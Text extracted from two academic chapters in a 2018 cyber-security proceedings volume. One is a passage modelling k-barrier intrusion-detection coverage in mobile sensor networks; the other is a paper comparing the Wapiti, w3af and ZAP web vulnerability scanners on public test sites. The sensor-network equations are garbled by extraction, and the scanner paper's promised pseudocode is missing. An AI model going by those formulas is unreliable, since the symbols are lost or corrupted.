“any set of actions that attempt to compromise the integrity, confidentiality, or
availability of a resource” and intrusion prevention techniques such as authenti-
cation, encryption, secure routing, access control, etc., are presented as the initial
line of security against intrusions. Therefore, in order to operate wireless sensor
networks in a secure way, any type of intrusions must be detected before the
intruders can affect the network. Many intrusion detection approaches have been
proposed by researchers [4, 5]. In [6], the authors proposed a cross-layer approach
for intrusion detection in MANETs and IDSs for mobile ad hoc networks in [7, 8].
Some of the applications deploy stationary sensors to monitor the field of interest,
while the others deploy mobile sensors to improve surveillance quality that can be
provided by a network.
Many works take a static sensor network, in which sensors are kept static after
the initial spread, hence the covered region remains covered and the uncovered
region remains uncovered throughout the network’s lifetime. Thus, the coverage
performance of these networks is primarily ascertained by the initial confirmation of
network and the deployment strategy of sensors. Once the sensing characteristics
and the deployment strategy of sensors are recognized, the coverage performance
can be calculated and persist the same throughout the network lifetime. On the other
hand, many applications deploy mobile sensors to monitor the field of interest such
as in border surveillance. In [9], the patrol operations at American borders, tried
UAVs having sensors along with the preexisting static sensor networks along the
American/Mexican borders. The mobility of sensors helps to cover the uncovered
regions, thus mobile sensor networks provide time-varying coverage to the field of
interest, which increases the probability of hidden intruder detection. Therefore, the
coverage provided by a mobile sensor network counts not only on the starting
network conformation but also on the mobile characteristics of the sensors. Sensors
can move in a highly coordinated manner or independently. Here, it is assumed that
sensors move independently having no coordination between them.
A sensor network is considered to give k-barrier coverage, if every intruder
course crossing the breadth of the area is detected by leastwise “k” sensors con-
secutively. In this work, we compute the performance of the network having mobile
sensors in terms of k-barrier coverage probability and analyze the effect of network
parameters on k-barrier coverage.
Organization: This paper is arranged as follows: In Sect. 2, we discussed various
intrusion detection-related works and how they are helpful to improve the perfor-
mance of the wireless sensor networks. Section 3 explains the network model along
with the mobility model considered in this work and their assumptions and limi-
tations. Section 4 summarizes the intrusion detection formulation in an MSN.
k-Barrier Coverage-Based Intrusion … 375

Section 5 discusses the various results and their analysis. Finally, Sect. 6 concludes
the paper.

2 Related Work

Recently, researchers started working on coverage-related issues in sensor net-

works. It has been analyzed that system and network parameters like the sensor’s
sensing range, sensor count, velocity of sensor, sensor deployment strategies, etc.,
[10, 11] affect the performance of the sensor networks. Various deployment
methods such as Gaussian distribution, uniform distribution, random distribution,
etc., are used to deploy sensors for different coverage requirements [12] and the
performance of the networks is computed in terms of barrier coverage. In [9], the
authors determined the mobility characteristics of intrusion detection technique in
mobile sensor networks and showed that the velocity of sensors, sensing range, and
sensor density improve the barrier coverage performance of WSNs up to a sig-
nificant level. In [13], the authors compared the performance of uniformly dis-
tributed and Gaussian-distributed wireless sensor networks under various network
parameters like sensing range of sensors, sensor count, maximum allowable
intrusion distance, intruders starting point, etc., and showed that Gaussian distri-
bution gives better detection performance at a point and uniform distribution gives
better performance in large areas with equal chances of detection. The mobility
patterns of intruder and sensors play a major function in the detection capability of
mobile sensor networks. In [14], the authors explained that mean detection time of
intruder can be minimized when sensors select their direction of motion uniformly
and randomly between [0, 2p] and an intruder can increase its detection time by
being stationary. The density of sensors also affects the coverage performance of
the WSNs. In [15], the authors concluded that using percolation method, when
sensor count per unit area is less than 2ln2, in every condition there exists a crossing
route that cannot be discovered by sensor network and when the sensor count per
unit area is larger than 2ln2, it is highly probable that there is no crossing path
which cannot be detected by sensors. Moreover, many works show that increase in
the node density improves the performance of the network.
Transmission range of the sensors also affects the intrusion detection probability,
broadcast reachability, and network connectivity. In [16], the authors showed that
the broadcast reachability and network connectivity increase sharply with the
increase in the transmission range of sensors and reach at a particular threshold. It is
observed that the network connectivity increases at a slower rate than the broadcast
reachability with the increase in transmission range. This work is very helpful for
selecting critical network parameters and helps in designing heterogeneous and
homogeneous WSNs. In addition, it has been analyzed that the intrusion path also
affects the detection probability of the WSNs. In [17], the authors proposed a
mobility pattern in which an intruder follows a sinusoidal path to gain access to the
network. The author studied the effect of different routes on intrusion detection
376 J. Nagar and S. Sharma

probability using k sensing and single sensing in a given WSNs. Moreover, it has
been shown that the amplitude and frequency of a sinusoidal course affect the
probability of intrusion detection significantly while the change in phase value has a
negligible effect on multiple-sensing and single-sensing detection. Hence, the
author concluded that in order to avoid detection by sensors, intruder should follow
a sine-curve path.

3 Mobility and Network Model

In this part, we explain the mobility and network model and discuss the concept of
barrier coverage to evaluate the performance of networks having mobile sensors.
We assume a two-dimensional rectangular area in which an MSN is deployed
having S(A) mobile sensors as shown in Fig. 1. This region is considered to have an
area A and width W, and initially, it is assumed that the mobile sensors are spread
through uniform distribution independently. Under random deployment consider-
ation, the location of sensors can be calculated with the help of a stationary Poisson
process in two-dimensional having density gA . Therefore, the total number of
sensor in the region A will be given by

egA jAj :gA jAj

Pr ðSðAÞ ¼ kÞ ¼ ð1Þ
k!

3.1 Mobility Model

Various mobility models are available which defines the motion of sensors; here it
is assumed that the motion of sensors is independent on each other and having no
coordination between them. Speed and direction of motion of sensors characterize

Fig. 1 Intrusion detection

scenario in MSNs
k-Barrier Coverage-Based Intrusion … 377

their movement. Sensor chooses its direction of motion randomly from ; 2 ½0; 2p
according

tothe distribution with PDF Pr ð;Þ. Sensor also chooses its speed from
ts 2 0; tmax
s according to PDF Pts ðts Þ. A sensor travels to walls of the region with
selected speed and direction after reaching the edge, the sensor bounces back and
chooses another direction, this process keeps repeating. This model is referred to
the mobility model with the random direction [18]. It is assumed that an intruder
follows a crossing path from one parallel boundary to another which is taken as a
line segment.

3.2 Sensing Model

It is assumed that rs is the sensing range of each sensor. Each sensor senses the
surrounding area and detects the events within its range of sensing. In this work, an
intruder is considered a point that must be discovered by sensors as it penetrates the
boundary. An intruder is considered to be detected by a sensor, when it has been
found within the sensing range of sensors. This model is the basic sensing model
for a sensor and is known as disc-based sensing model.

3.3 Coverage Measures

In this section, the coverage of the intruder traveling path is defined in terms of
k-barrier coverage. A sensor network is considered to render k-barrier coverage,
when the intruder track traversing the breadth of the area is cumulatively discovered
leastwise k moving sensors. The mobile sensor network performance is measured in
terms of k-barrier coverage probability, i.e., Pr ðD  kÞ. Where Δ is the cumulative
coverage count by moving sensors for any intruder way. Another coverage
parameter known as the uncovered distance is defined as the mean distance traveled
by the intruder between the consecutive coverage. In addition to the uncovered
distance, the frequency of coverage is defined as sensor coverage count per unit
time (coverage rate) and is also computed dividing the intruder speed by uncovered
distance.

4 Intrusion Detection in an MSN

Intrusion detection in a Mobile Sensor Network (MSN) is analogous to the kinetic

theory of gas molecules, especially the theory of mean free path. An intruder is
taken as an electron and a sensor is considered as a gas molecule. The mean
distance covered by an intruder among consecutive coverage by moving sensors is
378 J. Nagar and S. Sharma

deduced from the kinetic theory of gas molecules. The mean distance traveled by an
intruder among consecutive coverage is denoted by mean uncovered distance Cs .
The k-barrier coverage probability Pr ðD  kÞ in mobile sensor networks is achieved
by modeling the sensors coverage rate hs and the uncovered distance kd .
Let us assume that sensor is stationary having sensing range rs initially, coverage
cross section can be formulated with the help of a circle of radius rs as shown in
Fig. 2. The mean uncovered distance can be computed by dividing intruder-covered
distance by the number of sensor coverage, or it can be computed by dividing the
intruder speed by coverage rate Cs .

prs2
C ¼ 2rs þ ð2Þ
ti t

The mean uncovered distance for a stationary sensor will be

1
kd ¼   ð3Þ
prs2
gA 2rs þ ti t

pr2
where C ¼ 2rs þ ti ts is the stationary sensor’s coverage cross section and gA is
sensor density respectively. Average uncovered distance in a MSN will be calcu-
lated by modeling the mean relative velocity of moving sensors with respect to
intruders. The relative velocity is formulated in terms of intruder and sensor
velocity vector as shown in Fig. 3. To calculate the coverage rate of sensor, the
velocity of intruder ðti Þ will be replaced by average relative speed of the mobile
sensors in the area of interest. Mobile sensors trel . Then the coverage of sensor per
unit time is given by gA
c
trel where C is the coverage cross section between
mobile sensors and intruders.
Theorem 1 Sensors coverage rate is given by

hs ¼ gA
C
trel ð4Þ

Proof Let us assume that intruder j has some probability to be detected by some
moving sensors i 2 8 for i 2 8Sð AÞ having cross section Ci and density of sensors
gj , hence

Fig. 2 Covered area with

sensing range rs at t = г
rs

Sensors

vi.τ
k-Barrier Coverage-Based Intrusion … 379

Fig. 3 Intruder speed

proportional to moving
sensors changes with the
angle among their respective
directions of motion only Sensor
dɸ

Intruder

X
hs ¼ trel
i28SðAÞ
gA
Ci
hs ¼ gA :C:trel
Uncovered time duration is the inverse of coverage rate.

4.1 Barrier Coverage in a Sensor Network

Since the k-barrier coverage probability depends on coverage rate of sensors and
uncovered distance.
Theorem 2 The k-barrier coverage probability is given by

k1  ðhs
tÞ

X 
e ðhs
tÞn
Pr ðD  kÞ ¼ 1  ð5Þ
n¼0
n!

Proof Suppose each sensor has coverage rate ðhs Þ, then the probability that an
intruder will have n sensors coverage exactly on its traveling way with breadth W is
given by

eðhs
tÞ ðhs
tÞn

Pr ðD ¼ nÞ ¼ ð6Þ
n!

Therefore, the probability that an intruder will be detected by leastwise k sensors

while crossing the track with breadth W is given by

k1  ðhs
tÞ

X 
e ð hs
t Þ n
P r ðD  k Þ ¼ 1 
n¼0
n!
380 J. Nagar and S. Sharma

Here, the generalized concepts of coverage are discussed having no specific

mobility model.

4.2 Average Relative Speed

An intruder speed relative to moving sensors changes with the angle between their
respective motion directions as shown in Fig. 3. The entire moving sensors move
randomly in all possible directions, a fraction d/=2p of them move in the direction
that is with an angle / of the intruder ðti Þ direction. In this section, we calculate the
mean relative speed taking random direction mobility model which is given by

Z2p
1
trel ¼ trel d/ ð7Þ
2p
0

from Fig. 4

t2rel ¼ t2i þ t2s  2ti ts cos /

Zp qffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi
1
trel ¼ t2i þ t2s  2ti ts cos /d/
2p
0

Due to symmetry of / the relative speed will be

vffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi
!
Z u
ð ti þ ts Þ p=2 u 2
trel ¼2 t 1  4ti ts ðsin /Þ d/
p 0 t2i þ t2s þ 2ti ts ð8Þ
ðti þ ts Þ
¼2 EðvÞ:
p

Fig. 4 Relative speed of

sensors
vs vrel

vi
k-Barrier Coverage-Based Intrusion … 381

Zp=2 rffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi
 
E ð vÞ ¼ 1  v:ðsin /Þ2 d/ ð9Þ
0

4ti ts
v¼ : ð10Þ
ð ti þ ts Þ 2

5 Result Analyses

In this section, we investigated various analytical results through simulation and

study the effect of different network parameters on the probability of intrusion
detection. In this work, we evaluated the performance of the network in terms of
k-barrier coverage probability. All the results are obtained by simulating the sce-
narios on MATLAB simulation tool by varying different network parameters.
MATLAB provides all the necessary components and features, which can help to
simulate the different analytical models and to obtain the results. The various results
are simulated with MATLAB tool under the specified network parameters such as:
area of simulation is considered as rectangular area having dimensions
50 m  100 m, sensing range one, random direction mobility model. Effect of other
parameters such as node density and sensor to intruder velocity ratio on k-barrier
coverage probability is also studied. Moreover, the effect of increasing k on the
k-barrier coverage probability is also analyzed.

5.1 Effect of Node Density on k-Barrier Coverage

Probability

The probability that an intruder will be detected by leastwise k sensors while

crossing the belt area increases as the number of mobile sensors increase and reach
to one quickly with an increase in number of sensors as shown in Fig. 5.
Theoretical concepts also validate the simulation results because when mobile
sensors are increased in the region of interest, there are more chances that the
intruder will be discovered by more sensors. Therefore, k-barrier coverage proba-
bility tends to one with an increase in the number of mobile sensors.
382 J. Nagar and S. Sharma

Fig. 5 Effect of mobile sensor density on k-barrier coverage probability at different values of k

5.2 Effect of Sensor to Intruder Velocity Ratio on k-Barrier

Coverage Probability

It has been observed that k-barrier coverage probability increases as the ratio of the
velocity of the sensor to the velocity of intruder increases and reaches to its
maximum value at a certain value of the ratio for different k-barrier coverage
requirements as shown in Fig. 6. Theoretical calculations also validate simulation
results as the velocity of the sensors increases they can cover a large area in less
time and provide full coverage to the every intruder crossing path.

5.3 Effect of Varying on k-Barrier Coverage Probability

at Various Number of Moving Sensors

The k-barrier coverage probability decreases by increasing k at a different number

of mobile sensors as shown in Fig. 7. Simulations results verify analytical results.
As the number of moving sensors increase, the k-barrier coverage probability
reaches to zero for large values of k because the requirement of k-barrier coverage
for large values of k will be compensated by the increase in the number of sensors.
Increase in the value of k means that intruder must be detected by more sensors
which put a limitation on the detection probability of the network. Increase in the
required k sensor coverage can be compensated by deploying more moving sensor
in the region of interest.
k-Barrier Coverage-Based Intrusion … 383

Fig. 6 Effect of sensor to intruder velocity on k-barrier coverage probability at different k

Fig. 7 Effect of increasing k on k-barrier coverage probability at various numbers of mobile

sensors

6 Conclusions

This work analyzes the performance of a mobile sensor network in terms of

intrusion detection capability, which is measured in terms of k-barrier coverage
probability. The k-barrier coverage probability depends on the different system and
384 J. Nagar and S. Sharma

network parameters such as sensor density, sensing range, the speed of the sensors,
and intruders.
Novelty of this work is that, instead of having variable velocities of sensors, we
considered the constant velocity of every sensor which remains same throughout
the simulation time. In this paper, we simulated various performance metrics in
terms of k-barrier coverage probability. The probability of k-barrier coverage
reaches to unity at a specific value of k as the number of moving sensor increase as
shown in Fig. 5. For example at k = 10, the k-barrier coverage probability reaches
to one when number of moving sensors is 700. Again, the probability of k-barrier
coverage improves as sensor to intruder velocity ratio increases as shown in Fig. 6.
For example, at k = 20 barrier requirement, the k-barrier coverage probability
reaches to unity when the velocity ratio is 2.5. Moreover, for a given number of
sensors, the k-barrier coverage probability decreases as the k-barrier requirement
increase as shown in Fig. 7. For instances, when 200 sensors are spread in the field
of interest, the k-barrier coverage probability reaches to zero at k = 20 sensor
requirement. Hence we can conclude that mobility improves the performance of
sensor networks.

References

1. Akyildiz IF, Su W, Sankarasubramaniam Y, Cayirci E (2002) A survey on sensor networks.

IEEE Commun Mag 40(8):102–114
2. Nakul P (2013) A survey on malicious node detection in wireless sensor networks. IJSR. 2
(1):2319–7064
3. Zhang Y, Lee W, Huang YA (2003) Intrusion detection techniques for mobile wireless
networks. J Wireless Networks 9(5):545–556
4. Farooqi A, Aslam F (2009) Intrusion detection system for wireless sensor networks: a survey.
FGCN/CAN CCIS 56:234–241
5. Rasam MA, Maarof MA, Zainal A (2012) A survey of intrusion detection schemes in wireless
sensor networks. AJAS 1636–1652
6. Sharma S, Mishra R (2014) A cross layer approach for intrusion detection in MANETs. IJCA
93(9):34–41
7. Butun I, Morgera SD, Sankar R (2013) A survey of intrusion detection systems in wireless
sensor networks. IEEE Commun Surv Tutorials
8. Anand Babu GL, Shekhar Reddy G, Agarwal S (2012) Intrusion detection techniques in
mobile ad hoc networks. IJCSIT 3:3867–3870
9. Keung GY, Zhang BLQ (2012) The intrusion detection in mobile sensor network. IEEE/ACM
Trans Networking 20(4):1152–1161
10. Wang Y, Lun Z (2011) Intrusion detection in a k-Gaussian distributed wireless sensor
network. J Parallel Distrib Comput 1598–1607
11. Gaur B, Kumar P (2013) Wireless sensor deployment using modified discrete binary PSO
method. IJIREEICE 1(3)
12. Peng M et al (2011) Impacts of sensor node distributions on coverage in sensor networks.
J Parallel Distrib Comput 1–14
13. Wang Y, Fu W, Agrawal DP (2013) Gaussian versus uniform distribution for intrusion
detection in wireless sensor networks. IEEE Trans Parallel Distrib Syst 24(2):342–355
k-Barrier Coverage-Based Intrusion … 385

14. Liu B, Dousse O, Nain P, Towsley D (2013) Dynamic coverage of mobile sensor networks.
IEEE Trans Parallel Distrib Syst 24(2):301–311
15. Li J, Jiang S, Pan Z (2009) Strong barrier coverage for intrusion detection in wireless sensor
network. In: Proceedings of the second symposium international computer science and
computational technology (ISCSCT’09), pp 62–65
16. Wang Y, Wang X, Xie B, Wang D, Agrawal DP (2008) Intrusion detection in homogeneous
and heterogeneous wireless sensor networks. IEEE Trans Mob Comput 7(6):698–711
17. Wang Y, Leow YK, Yin J (2009) Is straight-line path always the best for intrusion detection
in wireless sensor networks. In: 15th ICPDS, pp 565–571
18. Camp T, Boleng J, Avies V (2002) A survey of mobility models for ad hoc network research.
Wireless Commun Mob Comput 2(5):483–502
Performance Analysis of Vulnerability
Detection Scanners for Web Systems

Shailendra Singh and Karan Singh

Abstract Much work is done in the area of vulnerability detection. However, it is

still not sufficient to detect all the vulnerabilities present in a web application.
Vulnerability detection scanners are an automated way to check for these vulner-
abilities. But even after many improvements their detection rate is very low. In most
cases, averaging to 40% detection of vulnerabilities. This rate can be increased
when we provide favorable situations to scanners, increasing its detection rate. This
work deals with such situations. The selection of best scanner for a given situation.
So that detection of vulnerabilities is fulfilled in a more efficient way.

Keywords Security
Vulnerability
Scanners
Detection

1 Introduction

Internet is full of information and data. It is the backbone of today’s working

environment [1]. Internet together with its hypertext data and information is called
World Wide Web, commonly known as WWW or just Web. Users interact with the
web using the web application and browsers [2]. A web application is a combined
system of a server, a website hosted by the server and a back-end database. Web
applications are used to serve user’s different needs in a convenient and efficient
manner. Because of this, web applications are increasing in numbers. But with an
increased number of web applications, a number of attacks on these applications
also increased. In the Figure, Cisco Annual security report [3] shows the increased
number of security alerts in the year 2012–13.

S. Singh (&)
K. Singh

School of Computer & Systems Sciences, Jawaharlal Nehru University,
New Delhi 110067, India
e-mail: [email protected]
K. Singh
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 387

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_37
388 S. Singh and K. Singh

To tackle the growing number of alerts, we use automatic vulnerability scanning

tools. These scanners use black-box approach, i.e. they do not need a code of the
application. These tools scan web applications to find potential web vulnerabilities.
Later these vulnerabilities are corrected to make the application more secure. Our
work focuses to increase detection of these vulnerabilities by favoring one scanner
to another in different conditions. This paper is organized as follows. Section 2
explaining the related work done. Section 3 explains the proposed work. Section 4
discusses about the performed experiment and results. Section 5 concludes the
paper.

2 Related Work

Many research works are done on the topic of vulnerability.

Sili et al. [4] explained in their research that, most current browsers have a
monolithic architecture which does not maintain a clear separation between its
modules. All modules work in one process, hence vulnerability in one module can
lead to whole system corruption. To overcome this, some browsers used a modular
approach to increase the security (like chrome) but they are also not fully secure.
Chrome itself, covering most security concerns, has some loopholes which question
its security aspect, which when exploited can be used to attack other sites.
Johari and Sharma [5] have suggested in research that in all the potential web
attacks, the major ones are SQL injection (SQLi) and cross-site scripting (XSS).
These types of attacks are done by manipulating the vulnerabilities present in the
code application or script. SQL Injection possessed more risks because it affects the
underlying database which is of utmost importance for any organization.
Fonseca [6] have suggested in their research, that half of the SQLi attacks are
done using the numeric field exploitation, i.e., Input Fields meant to get data from
users are the most Vulnerable spots if taken input is not properly sanitized.
Duraes and Madeira [7] have proposed many ways to detect and prevent vul-
nerabilities present in the system. According to his study, Fault injection approach
is the most efficient way for detecting and correcting vulnerabilities. Fault injection
approach uses the fact that major portion of vulnerabilities falls under a small
category of faults. So, we can use this knowledge to write better codes.
Avancini and Ceccato [8] have suggested a method for detecting input parameter
vulnerabilities by focusing on structural constraints corresponding code responses.
By using Taint analysis, they try to spot the Vulnerability. A Vulnerability is
present when a tainted value is used in a sink statement. They have obtained
improved results with the use of genetic algorithms. The major drawback of this
method is that the majority of vulnerabilities can only be detected in run time,
because input values define the flow of code and in a different situation, a code can
behave differently.
Wang [9] have proposed a method for detecting underlying vulnerability in a
web application by using hidden web crawlers. They have used information
Performance Analysis of Vulnerability Detection … 389

gathered by hidden web crawlers to effectively craft the attack string, which greatly
unfolds the vulnerability present in the system. The search area is increased when
used in conjunction with Access Authentication database table (AADT).
Dessiatnikoff [10] have extended the Xin Wang methodology [9] and suggested
a method to predict the vulnerability present in the code. The authors have classified
the response pages into three clusters based on the distance of normalized change in
their responses. Since a response is always associated with a request and vice versa.
Hence it is enough to check the responses. Based on these clusters, the author is
able to predict the Vulnerability present in the system with a greater accuracy than
other scanners present.
Damjanovic and Djuric [11] have suggested that by using domain knowledge of
a particular web application in conjunction with functional programming paradigm
and Model-Driven Architecture, we can draw the attack model. It is possible to
model the attack using this knowledge in the form of attack tree, with a global goal
of attack the system. Analyzing this tree unfolds the vulnerability present in the
system. Later further gained knowledge through this attack model can also be
incorporated into the system to enhance the method’s effectiveness.
Buja et al. [12] used Four-layer approach to Prevent and Detect a Vulnerabilities
in the web system. In his model, he used Boyer–Moore string matching algorithm
which reduced the time in matching the pattern in brute-force approaches. This
algorithm is mostly used to detect virus Detection where large data is analyzed in a
short time. It improved the detection speed in quite a number.
Many researchers are trying to improve the detection capability of a scanner.
Since many of the best scanners are only having detection capability of around 40%
which is not a very good upper limit. Our goal is to choose scanners such that this
upper limit is increased. This can be done by using problem-specific scanners, i.e.
use of different scanners based on the criteria or problem at disposal.

3 Proposed Work

Since the advent of Web applications, users have now power to do many things
such as E-commerce, Online Banking, etc. For this purpose, application store and
send confidential data to server. Now, since applications are prone to
Vulnerabilities. Hence these vulnerabilities are used to attack on web applications.
Which later results in the compromise of confidential data and manipulation of
system. To obliterate these attacks probability, we tend to find the underlying
vulnerabilities in initial states so that it will not make system Vulnerable in later
stages. With all our best efforts 100% detection of vulnerabilities is not possible. So
one best alternative is that we deploy the web application. After that, we scan it for
potential vulnerabilities and rectify them as we encounter them making it a part of
maintenance. However, many vulnerabilities are only surfaced when they are
deployed in the real world. Also, some vulnerabilities do not even lead to a suc-
cessful attack and hence investing unnecessary power is not a good thought.
390 S. Singh and K. Singh

For this purpose, we use vulnerability detection scanners to detect the vulner-
abilities present in the system. They use the Black-Box approach to detect the
vulnerabilities, i.e., they do not need the code of the application to work.

3.1 Vulnerability Scanner Working Mechanism

Web application contains Vulnerabilities which are used to attack the application in
order to compromise the security of system. Vulnerability scanners are used to
detect those vulnerabilities. After successful detection, we can rectify these vul-
nerabilities from the system. Hence making the system more secure. All of
Vulnerability scanners use the following basic procedure to detect the vulnerabil-
ities present in the system.
Figure 1 shows the typical working of a scanner. Every phase uses information
generated by its component to successfully complete the task. Different scanners
deploy these components in a different manner and hence greatly changing the
efficiency of the scanner.

3.2 Tools

In this proposed work, we are trying to set a benchmark for some well known
open-source scanners. Our work is focused on evaluating their performance based
on different parameters such as time taken in scan, Number of Vulnerabilities
detected, etc. For this, we have chosen three well-known open-source Vulnerability
scanners. Table 1 shows the list of Scanners used for this purpose.
These scanners are top in their league with most downloaded scanners by
penetration testing users.

3.3 Data Sets

For this Dissertation work, we have used following vulnerable applications:

Application shown in Table 2 are some standard applications meant to check the
working of a scanner listed in OWASP directory Project [13]. Since in real-life
attacking, a web application is both illegal and punishable offense. These datasets
are hosted by different commercial scanner developers to either test their scanner or
use it as research data. There are many possible development languages for web
application. However, in this work we chose application written in PHP only. By
confining to only PHP-written code, it is easy to demonstrate the relative
Performance Analysis of Vulnerability Detection … 391

Fig. 1 Work flow diagram of a scanner

Table 1 Vulnerability scanners

S. no. Scanner Creation year Language Interface Version
1 Wapiti 2006 Python Command-line 2.3.0
2 W3af 2007 Python Command-line and GUI 1.6.45
3 ZAP 2010 Java GUI 2.4.0

comparison statics for the scanner tools. In this work, we have fed these vulnerable
web applications as Input data to scanner tools. The output results are analyzed to
show the different comparison statistics of vulnerability scanners.
392 S. Singh and K. Singh

Table 2 Data sets

S. no. Project name Type Web-link Language
1 Acuart Online http://testphp.vulnweb.com/ PHP
2 Vicnum Project Online http://vicnum.ciphertechs.com/ PHP
3 Web Scanner Test Site Online http://www.webscantest.com/ PHP
4 Zero Bank Online http://zero.webappsecurity.com/ PHP

Fig. 2 Evaluation procedure

3.4 Working Procedure

We are proposing a vulnerability detection approach for web applications. The

proposed approach depends upon the report generation of scanners and its own
scanner ranking phase. The evaluation procedure of the proposed work is given in
Fig. 2. In this work, the first task is to generate the vulnerability detection report
Performance Analysis of Vulnerability Detection … 393

using the different scanners available. In this model, we used three open-source
scanners available to users. Applying these scanners to datasets available online we
are able to produce scanner outputs, i.e., vulnerability detection reports for each
data set. After that, the proposed work is applied on these generated reports. By
applying the proposed algorithm to the generated reports, different analyses are
done based on criteria specified. According to specified criteria, a scanner is ranked.
For different criteria, different scanners get the high rank. The final generated
reports show the efficient scanner according to criteria specified.
Proposed Algorithm: In this proposed work, the algorithm works in two dif-
ferent phases. The first phase is to generate scanning reports produced by vulner-
ability detection scanners. Next phase uses these reports to generate the ranking of
scanners. The algorithm in pseudocode is as follows:

Example: For initial working explanation can be given as follows.

We take two scanners like wapiti and w3af. We use these scanners on some
vulnerable web applications. In this case, we choose online vulnerable application
like vicnum project [15]. Scanning this web application using the specified scan-
ners, respectively, we generate vulnerability detection report. Successful generation
of reports leads to the main phase of the algorithm. Where these reports are ana-
lyzed according to different criteria set, i.e., time, performance for a particular
vulnerability, etc. In this case, two reports are analyzed for the same web appli-
cation. For the comparison of the criteria, let us take time as criteria. The algorithm
394 S. Singh and K. Singh

will show the efficiency of these scanners time-wise, i.e., which is taking less time
to finish the scan. Algorithm will rank these scanners based on this criteria. Change
in criteria will also lead to change in ranking of the scanners.

4 Experiment and Results

This section explains the experiment performed and result obtained. A detailed
explanation is also given for the result obtained.

4.1 System Requirements

The system configuration for the experiment to perform is listed below. Some are
Compulsory as to run the scanners used.
The Hardware configuration for this experiment is which allowed successful and
efficient execution of the experiment.
– Processor: Intel Core i7 (3.4 GHz)
– Main Memory:1 GB Minimum
– Hard Disk Space: 20 GB Minimum
– Input Device: Keyboard and Preferred Mouse
Software Requirement for this work is as follows:
– Operating System: Ubuntu 14.04—Tools and IDE used: Latex, Gummi editor.

4.2 Experimental Results

Using the experimental setup, when the proposed algorithm is run. We obtained
Different results based on the criteria we specified.
First Run: For our first run, we chose the Criteria as “Total number of vul-
nerability detected”. In this run, we are interested to find the scanner which is
capable of generating most number of vulnerability detection alerts.
Figure 3 shows the alerts detected when performing scans on the data sets. An
alert is a potential vulnerability in the web application. It is evident from the figure
that ZAP detected more alerts than the rest of the two scanners. This is because of
two main reasons:
1. Since ZAP includes the Top 10 vulnerability profiles standardized by OWASP,
it is more efficient to detect the vulnerability since it has pre-information about
them.
Performance Analysis of Vulnerability Detection … 395

30
Wa
W3
ZA
25

20

15

10

0
Acu Vicn Web Zero
Data Sets

Fig. 3 Alert detected

2. Usually, a request has multiple responses and hence ZAP has multiple alerts for
the same request. Hence, the high number of alert detection.
It may look that ZAP is accumulating unnecessary alerts unlike the rest two. But
in many situations, a vulnerability is often surfaced when certain conditions are met
by generating as many as alerts, ZAP increases its coverage area. So, considering
this point ZAP is able to generate more possible vulnerable points than rest of the
two.
So, for our first criteria, we can see that ZAP has higher performance and hence
higher ranking.
Second Run: For this run, we chose the criteria as “Shortest time taken in one
scan”. When we apply the proposed algorithm, we get the result as shown in Fig. 4.
In this case also ZAP has shown the most efficient performance, which took the
least time in all of the scanners to finish the scan. On an average, ZAP was 167%
faster than w3af and 236% faster than Wapiti. In short, ZAP is efficient in the
manner of time taken to complete a scan. This duration may differ as enabling
different plug-ins affect the time to scan drastically. But the algorithm is able to
show the comparison for each dataset.
It is interesting that Wapiti is taking more time than others. Prime cause of this is
that when Wapiti is executed without any specific setting it runs all its modules one
by one, and hence takes more time whereas W3af and ZAP run only the basic
module configuration. So time duration differs in greatly by the plug-ins and
modules configured.
396 S. Singh and K. Singh

6
Wapi
W3
ZA
5

0
Acua Vicnu Web Zero
Data Sets

Fig. 4 Time laps in one scan

Third Run: In this Run, we set criteria as “Severity of Vulnerability”, i.e., High,
Medium and Low severity vulnerabilities. The proposed algorithm generates the
following reports.
Figure 5 shows the report for Acuart dataset [14]. As we can see, in this case
ZAP stands out by generating more number of alerts in each section. Whereas
Wapiti and W3af have comparatively the same performance.
Figure 6 shows the same report for dataset 2, i.e., Vicnum project [15]. Which
also shows the same results as in case of dataset Acuart. But what is interesting in
this is that although ZAP generated high number of alerts in other category. The
High-risk factor is almost the same in each of the scanner statistics. If we would
have chosen criteria based on only High-risk Vulnerability, the output would have
ranked all the scanners with the same rank.

90
High Risk
80 Medium Risk
Low Risk
70
60
50
40
30
20
10
0
Wapiti W3af ZAP
Vulnerability Scanners

Fig. 5 Risk Distribution For Acuart

Performance Analysis of Vulnerability Detection … 397

40
High Risk
35 Medium Risk
Low Risk
30
25
20
15
10
5
0
Wapiti W3af ZAP
Vulnerability Scanners

Fig. 6 Risk distribution for vicnum project

160 High Risk

Medium Risk
Low Risk
140

120

100

80

60

40

20

0
Wapiti W3af ZAP
Vulnerabiltiy Scanners

Fig. 7 Risk distribution for web scanner test site

Figure 7 shows the report for dataset 3, i.e., for Web Scanner Test suite [16].
A similar report has been generated for the dataset Zero Bank [17]. It is shown in
Fig. 8.
These two reports have rather interesting factors associated with them. For
Fig. 7, if we consider medium risk vulnerability alerts it is zero for W3af, and
High-risk type are very less which may be due to unable to bypass ther authenti-
cation page, which reduced the number of detected vulnerabilities. Since our
algorithm uses the scanner report as input it also affects the working of algorithm,
ranking a scanner incorrectly. Hence for better ranking, it should be desirable to
have a good scanning result. As For Fig. 8 results are changed, as we can see in
other results ZAP is prominently ranked but in this result ZAP is unable to detect a
high-risk vulnerability which in turn is detected by W3af in high number. Hence,
398 S. Singh and K. Singh

25
High Risk
Medium Risk
Low Risk
20

15

10

0
Wapiti W3af ZAP
Vulnerability Scanners

Fig. 8 Risk distribution for Zero Bank

our algorithm would have ranked W3af as efficient if we would have chosen the
criteria only for high-risk vulnerability. These results show that if we choose dif-
ferent criteria different ranking is given to the same report.

5 Conclusion

This work deals the issue of how to prioritize Web vulnerability scanners in dif-
ferent situations. However, these scanners work well in some situation and poor in
some situations. Hence, it is crucial to adaptively use them as the scenario arrives.
The proposed algorithm tries to deal this issue by analyzing the scanner’s output.
By this, we can roughly estimate that, in which criteria which scanner to be used.
